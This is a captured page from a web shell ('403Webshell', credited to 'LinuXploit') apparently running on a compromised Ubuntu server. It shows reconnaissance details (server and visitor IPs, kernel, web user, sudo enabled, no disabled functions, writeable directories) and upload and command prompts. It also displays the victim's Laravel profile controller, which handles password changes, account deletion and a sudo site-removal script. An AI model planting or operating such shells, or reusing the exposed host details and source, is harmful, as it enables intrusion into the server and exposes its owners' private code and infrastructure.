403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark/app/Http/Controllers/ProfileController.php
<?php
    namespace App\Http\Controllers;

    use Illuminate\Support\Facades\Auth;
    use Illuminate\Support\Facades\Hash;
    use Illuminate\Http\Request;
    use App\Models\User;
    use App\Models\UserSetting;
    use App\Models\Website;
    use App\Models\Prompt;
    use App\Models\Provider;
    use Symfony\Component\Process\Process;
    use Symfony\Component\Process\Exception\ProcessFailedException;
    use DB;

    class ProfileController extends Controller
    {
        public function edit()
        {
            
            $delete_flag = "confirm"; // default

            $user = Auth::user();

            if (!empty($user->websites)) {
                foreach ($user->websites as $website) {
                    if ($website->plan) {
                        $delete_flag = "not_allowed";
                        break; // stop checking further websites
                    } else {
                        $delete_flag = "warn"; // at least one website without plan
                    }
                }
            }

           

            return view('profile.edit', ['user' => Auth::user(), "delete_flag"=>$delete_flag]);
        }

        public function updateProfile(Request $request)
        {
            $request->validate([
                'name' => 'required|string|max:255',
                'phone_full' => 'nullable|string|max:20',
            ]);

            $user = Auth::user();
            $user->update([
                'name' => $request->name,
                'phone' => $request->phone_full,
            ]);

            return back()->with('success', 'Profile updated successfully.');
        }

        public function changePassword(Request $request)
        {
            $request->validate([
                'old_password' => 'required',
                'password' => 'required|confirmed|min:6',
            ],[
                'password.confirmed' => 'Password and confirm password do not match.',
            ]);


            if(auth()->check() && auth()->user()->providers()->count() > 0){
                return back()->withErrors(['old_password' => 'Access not allowed']);
            }
            $user = Auth::user();

            if (!Hash::check($request->old_password, $user->password)) {
                return back()->withErrors(['old_password' => 'Old password is incorrect']);
            }

            $user->update(['password' => Hash::make($request->password)]);

            return back()->with('success', 'The password has been changed successfully.');
        }
        public function checkLoginStatus(Request $request){

            if(auth()->check() && auth()->user()){
           
                $user = auth()->user();

                return response()->json([
                    "csrf_token"=>csrf_token(),
                    'user' => [
                        "name" => $user->name
                    ],
                    "loggedin"=> true
                ]);
            }
            return response()->json([
                    
                    "loggedin"=> false
                ]);
        }
        public function deleteAccount(Request $request){

        try{
            DB::Begintransaction();

            $user = User::where("id", auth()->user()->id)->first();

            $error = false;

            if($user){

                

                $websites = Website::where("user_id", $user->id)->get();

                 foreach($websites as $website){

                    if($website->plan){
                        return redirect()->back()->with('error', 'You cannot delete the account because you are on a paid plan');
                    } else {
                        if($website->status!='completed'){
                            return redirect()->back()->with('error', 'One of websites generation is in progress, please wait till it is completed.');
                        }
                    }
                }

                foreach($websites as $website){

                    $response = $this->removeWebsite($website);

                    if(!$response["error"]){
                        $website->delete();
                    } else {
                        $error = true;
                    }
                }
                if(!$error){
                    Prompt::where("user_id", $user->id)->delete();

                    UserSetting::where("user_id", $user->id)->delete();

                    Provider::where("user_id", $user->id)->delete();

                    $user->delete();
                } else {
                    DB::Rollback();

                     return redirect()->back()->with('error', 'Some error occur while deleting a website');
                }
            }
            DB::commit();

            Auth::logout();
            $request->session()->invalidate();
            $request->session()->regenerateToken();

            return redirect("/login")->with('success', 'Your account has been deleted successfully.');
        } catch(Exception $e){

            DB::Rollback();
            
            return redirect()->back()->with('error', $e->getMessage());
        }
    }
    public function removeWebsite($website){

        if($website){

            $server_meta = json_decode($website->server_meta, true);

            $process = new Process([
                'sudo',
                '/var/bloxbycommands/remove_site.sh',
                '--folder', $server_meta["folder"],
                '--site', $server_meta["site"],
                '--wpsite', $server_meta["slug_environment"],
                '--domain',  $server_meta["domain"]
            ]);
            //$process = Process::fromShellCommandline(env("SITEREMPATH")." site_bloxy_wp_".$website->id." site_bloxy_db_".$website->id); // change to your command
            $process->setTimeout(300); // Increase for long tasks
            $process->run();

            if (!$process->isSuccessful()) {

                return ["error"=>true, "message" => $process->getErrorOutput()];
                //return response()->json(['status' => 'error', 'message' => $process->getErrorOutput()], 500);
                
            } else {
                
                return ["error"=>false, "message"=> $process->getOutput()];
                //$website->delete();
                //return redirect()->back()->with(['status' => 'success', 'output' => $process->getOutput()]);
            }
        }
        
        return ["error"=>true, "message"=> "Website not found"];
    }
    }

Youez - 2016 - github.com/yon3zu
LinuXploit